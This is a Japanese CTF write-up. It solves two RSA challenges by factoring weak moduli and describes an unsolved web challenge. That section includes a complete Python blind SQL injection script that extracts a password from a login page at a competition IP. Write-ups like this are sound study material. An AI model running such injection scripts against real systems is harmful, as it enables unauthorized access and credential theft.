UUT CTF writeup

はじめに

honaというチームで参加してました。
稼働としては、2人で半日くらいでした。最終結果は441チーム中112位だったぽいです。
一応Crypto全完しました。自分が取り組んだ問題について writeupを書きます。 f:id:kent056-n:20190429221758p:plain

Solve the Crypto (25pt)

以下、問題文。

Solve this Crypto and find the flag.

pub.keyとenc.messageが与えられる。とりあえず公開鍵の中身を確認する。

$ openssl rsa -text -pubin < pub.key
Public-Key: (1024 bit)
Modulus:
    00:e8:95:38:49:f1:1e:93:2e:91:27:af:35:e1:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:
    00:00:00:00:51:f8:eb:7d:05:56:e0:9f:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff:ff:ff:ff:fb:ad:55
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDolThJ8R6TLpEnrzXhAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABR+Ot9
BVbgn///////////////////////////////////////////////////////////
//////////////utVQIDAQAB
-----END PUBLIC KEY-----

以下のようにModulusをintに直してfactordbにぶち込んでみると素因数分解された。

modulus = int("00:e8:95:38:49:f1:1e:93:2e:91:27:af:35:e1:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:51:f8:eb:7d:05:56:e0:9f:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:fb:ad:55".replace(":", ""), 16)
print(modulus)

p、q、eから秘密鍵を導出する。

from Crypto.PublicKey import RSA
from Crypto.Util.number import inverse
import binascii
import gmpy2

p = 12779877140635552275193974526927174906313992988726945426212616053383820179306398832891367199026816638983953765799977121840616466620283861630627224899026453
q  = 12779877140635552275193974526927174906313992988726945426212616053383820179306398832891367199026816638983953765799977121840616466620283861630627224899027521
e = 65537
n = p * q
d = lambda p, q, e: int(gmpy2.invert(e, (p-1)*(q-1)))
key = RSA.construct((n, e, d(p, q, e)))
print(key.exportKey())

最後に秘密鍵を使って復号する。なぜかbase64エンコードされていたので最後にデコードしておく。

$ cat enc.message | openssl rsautl -decrypt -inkey private.key | base64 -D
Hier_ist_deine_Flagge

FLAGはUUTCTF{Hier_ist_deine_Flagge}でおわり。

Break the RSA (50pt)

以下問題文。公開鍵と暗号文がわたされる。

Flag is the decryption of the following:

PublicKey= (114869651319530967114595389434126892905129957446815070167640244711056341561089,113)

CipherText=102692755691755898230412269602025019920938225158332080093559205660414585058354

とりあえず、factordbにぶち込んでみる。素因数分解された!
あとは適当に復号して終了。

from Crypto.Util.number import inverse
import binascii

p = 338924256021210389725168429375903627261
q = 338924256021210389725168429375903627349
N = p * q
c=102692755691755898230412269602025019920938225158332080093559205660414585058354
e = 113

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(binascii.unhexlify(hex(pow(c, d, N))[2:]).decode())

FLAGはUUTCTF{easy sH0Rt RSA!!!}でおわり。

Old CTF(web 190)

解けなかった。永遠に以下のようなコード書いてBlind SQLiしてた。
最終的にuserテーブルにuserというユーザーが存在し、userのパスワードがmd5でハッシュ化された123ということがわかったが何も意味はなかった。

import requests

count = 0
passlist = []
url = 'http://188.40.189.2:8004/login.php'

for i in range(1, 40):
    username = "user' and (SELECT length(password) FROM users WHERE username='user') = " + str(i) + "-- "
    password = "hoge"
    data = requests.post(url, {'username': username, 'password': password})

    if ("Incorrect" not in data.text) :
        print(username)
        print(data.text)
        break

    print("[*]Requests: ", i)
    print("[*]query: ", username)
    if ("admin" in data.text) :
        print('password length', i, '\n', data.text)
        count = i
        break

for j in range(1, count + 1):
    for k in range(33,127):
        name = "user' and substr((SELECT password FROM users WHERE username='user')," + str(j) + ",1)='" + chr(k) + "'-- "
        password = "hoge"
        print(name)
        data = requests.post(url, {'username': name, 'password': password})
        if ("admin" in data.text) :
            passlist.append(chr(k))
            print(chr(k))
            break

flag = ''
for i in passlist:
    flag += i
print(flag)

おわりに

factordb最強!!